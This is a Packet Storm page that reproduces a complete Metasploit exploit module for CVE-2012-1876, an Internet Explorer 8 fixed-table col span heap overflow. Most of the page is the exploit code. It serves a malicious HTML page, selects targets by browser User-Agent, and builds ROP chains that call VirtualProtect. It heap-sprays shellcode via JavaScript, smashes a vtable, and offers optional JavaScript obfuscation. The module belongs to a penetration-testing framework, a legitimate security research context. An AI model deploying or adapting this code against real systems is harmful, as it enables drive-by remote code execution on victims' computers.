what you don't know can hurt you

Microsoft Internet Explorer Fixed Table Col Span Heap Overflow

Microsoft Internet Explorer Fixed Table Col Span Heap Overflow
Posted Aug 1, 2012
Authored by Alexandre Pelletier | Site metasploit.com

This Metasploit module exploits a heap overflow vulnerability in Internet Explorer caused by an incorrect handling of the span attribute for col elements from a fixed table, when they are modified dynamically by javascript code.

tags | exploit, overflow, javascript
advisories | CVE-2012-1876, OSVDB-82866
SHA-256 | aaf1f1bff58af8d0e890f965766d5618a2de8a76a4a4edc1da853071f2054364

Microsoft Internet Explorer Fixed Table Col Span Heap Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:rank => NormalRanking, # reliable memory corruption
:javascript => true
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer Fixed Table Col Span Heap Overflow',
'Description' => %q{
This module exploits a heap overflow vulnerability in Internet Explorer caused
by an incorrect handling of the span attribute for col elements from a fixed table,
when they are modified dynamically by javascript code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexandre Pelletier', # Vulnerability analysis
'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
'binjo', # Metasploit module
'sinn3r', # Help with the Metasploit module
'juan' # Help with the Metasploit module
],
'References' =>
[
[ 'CVE', '2012-1876' ],
[ 'OSVDB', '82866'],
[ 'BID', '53848' ],
[ 'MSB', 'MS12-037' ],
[ 'URL', 'http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3 with msvcrt ROP',
{
'Rop' => :msvcrt
}
],
[ 'IE 8 on Windows 7 SP1',
{
'Rop' => :jre
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jun 12 2012',
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[1] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[2] #IE 8 on Windows 7 with JRE
else
return nil
end
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def nop
return make_nops(4).unpack("V").first
end

def get_payload(t)

code = payload.encoded

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
exec_size = code.length
rop =
[
0x77c4ec01, # retn
0x77c4ec00, # pop ebp; retn
0x77c15ed5, # xchg eax,esp; retn (pivot)
0x77c4e392, # pop eax; retn
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn
junk,
0x77c2dd6c,
0x77c4ec00, # pop ebp; retn
0x77c35459, # ptr to 'push esp; ret'
0x77c47705, # pop ebx; retn
exec_size, # ebx
0x77c3ea01, # pop ecx; retn
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # pop edi; retn
0x77c46101, # rop nop (-> edi)
0x77c4d680, # pop edx; retn
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # pop eax; retn
nop, # nops (-> eax)
0x77c12df9 # pushad; retn
].pack("V*")
when :jre
print_status("Using JRE ROP")
exec_size = code.length
rop =
[
0x7c346c0b, # retn
0x7c36f970, # pop ebp; retn
0x7c348b05, # xchg eax,esp; retn (pivot)
0x7c36f970, # pop ebp; retn [MSVCR71.dll]
0x7c36f970, # skip 4 bytes [MSVCR71.dll]
0x7c34373a, # pop ebx ; retn [MSVCR71.dll]
exec_size, # ebx
0x7c3444d0, # pop edx ; retn [MSVCR71.dll]
0x00000040, # 0x00000040-> edx
0x7c361829, # pop ecx ; retn [MSVCR71.dll]
0x7c38f036, # &Writable location [MSVCR71.dll]
0x7c342766, # pop edi ; retn [MSVCR71.dll]
0x7c346c0b, # retn (rop nop) [MSVCR71.dll]
0x7c350564, # pop esi ; retn [MSVCR71.dll]
0x7c3415a2, # jmp [eax] [MSVCR71.dll]
0x7c3766ff, # pop eax ; retn [MSVCR71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll]
0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll]
0x7c345c30 # ptr to 'push esp; ret ' [MSVCR71.dll]
].pack("V*")
end

code = rop + code
return code
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

js_code = Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch))

table_builder = ''

0.upto(132) do |i|
table_builder << "<table style=\"table-layout:fixed\" ><col id=\"#{i}\" width=\"41\" span=\"9\" >&nbsp </col></table>"
end

# About smash_vtable():
# * smash the vftable 0x07070024
# * span => the amount to overwrite
js_element_id = Rex::Text.rand_text_alpha(4)
spray_trigger_js = <<-JS

var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;

var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;

var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;

var arr = new Array();
var rra = new Array();

var div_container = document.getElementById("#{js_element_id}");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {
rra[i] = dap.substring(0, (0x100-6)/2);
arr[i] = padding.substring(0, (0x100-6)/2);
arr[i+1] = filler.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}

for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}

function heap_spray(){
CollectGarbage();

var shellcode = unescape("#{js_code}");

while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}

onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();

for (i=0; i<400; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}

function smash_vtable(){
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993";
obj_col_0.span = "44";
}

setTimeout(function(){heap_spray()}, 400);
setTimeout(function(){smash_vtable()}, 700);
JS

if datastore['OBFUSCATE']
spray_trigger_js = ::Rex::Exploitation::JSObfu.new(spray_trigger_js)
spray_trigger_js.obfuscate
end

# build html
content = <<-HTML
<html>
<body>
<div id="#{js_element_id}"></div>
#{table_builder}
<script language='javascript'>
#{spray_trigger_js}
</script>
</body>
</html>
HTML

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)
end

end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close